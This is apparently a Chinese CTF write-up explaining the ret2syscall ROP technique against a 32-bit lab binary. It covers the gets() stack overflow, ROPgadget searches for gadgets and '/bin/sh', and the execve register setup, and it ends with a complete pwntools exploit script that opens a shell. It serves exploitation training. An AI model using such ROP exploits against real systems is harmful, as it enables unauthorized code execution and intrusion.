原理
ret2syscall,即控制程序执行系统调用,获取 shell。
例子
点击下载: ret2syscall
首先检测程序开启的保护
ret2syscall checksec rop Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
首先,我们来寻找控制 eax 的 gadgets
root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop --only "pop|ret" |grep "eax"
可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。
这个gadgets可以直接控制其它三个寄存器
root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop --only "pop|ret" |grep "ebx" 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
此外,我们需要获得 /bin/sh 字符串对应的地址。
root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop --string "/bin/sh" Strings information ============================================================ 0x080be408 : /bin/sh
int 0x80 的地址
root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop --only "int" Gadgets information ============================================================ 0x08049421 : int 0x80
函数返回时通常会执行下列指令
mov esp ,ebp
pop ebp 上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
ret 使eip变为返回地址,然后jmpSyscall的函数调用规范为:execve(“/bin/sh”, 0,0);
所以,eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0
它对应的汇编代码为:
pop eax# 系统调用号载入, execve为0xb
pop ebx# 第一个参数, /bin/sh的string
pop ecx# 第二个参数,0
pop edx# 第三个参数,0
int 0x80当初笔者也是不太理解原理的,经过思考得知:
我们构造payload,先填充到ret前,接下来执行ret,这里因为要调用execve函数,所以要将对应的寄存器赋值才能执行。
这时候我们开启了NX,栈不可执行。怎么把对应的寄存器赋值呢?
这里用了一个巧妙的办法,搜索多个gadget片段(ret结尾的),给相应的寄存器赋值。
为什么如pop eax ; ret这样的指令会给寄存器赋值呢?
首先了解一下ret指令干了什么,16为汇编的ret的汇编指令执行如下:
ip=ss*16+sp
sp=sp+2
这时候问题就解决了,因为指令执行到填充完的ret前时,这时候esp指向ret,紧接着指令执行ret后,即准备执行ret存储的内容(pop eax;ret),但是ret指令不仅会修改eip,还会把栈顶前移,这时候32位的程序会把esp向栈顶移4位
此时的esp指向的就是我们要赋予eax的值:0xb,ret指令执行完后,eip指向了pop eax;ret。
执行pop eax(将0xb赋给eax,esp+4),在执行ret命令(eip指向esp+4)即pop_edx_ecx_ebx_ret。以此类推将对应的寄存器赋值,最后eip跳转到int 80的地址执行完成整个ret2syscall
编写EXP:
#!/usr/bin/env python from pwn import * sh = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 #payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh,int_0x80]) payload=flat(['a'*112,0x080bb196,0xb,0x0806eb90,0,0,0x080be408,0x08049421]) sh.sendline(payload) sh.interactive()
参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
https://blog.csdn.net/qq_33948522/article/details/93880812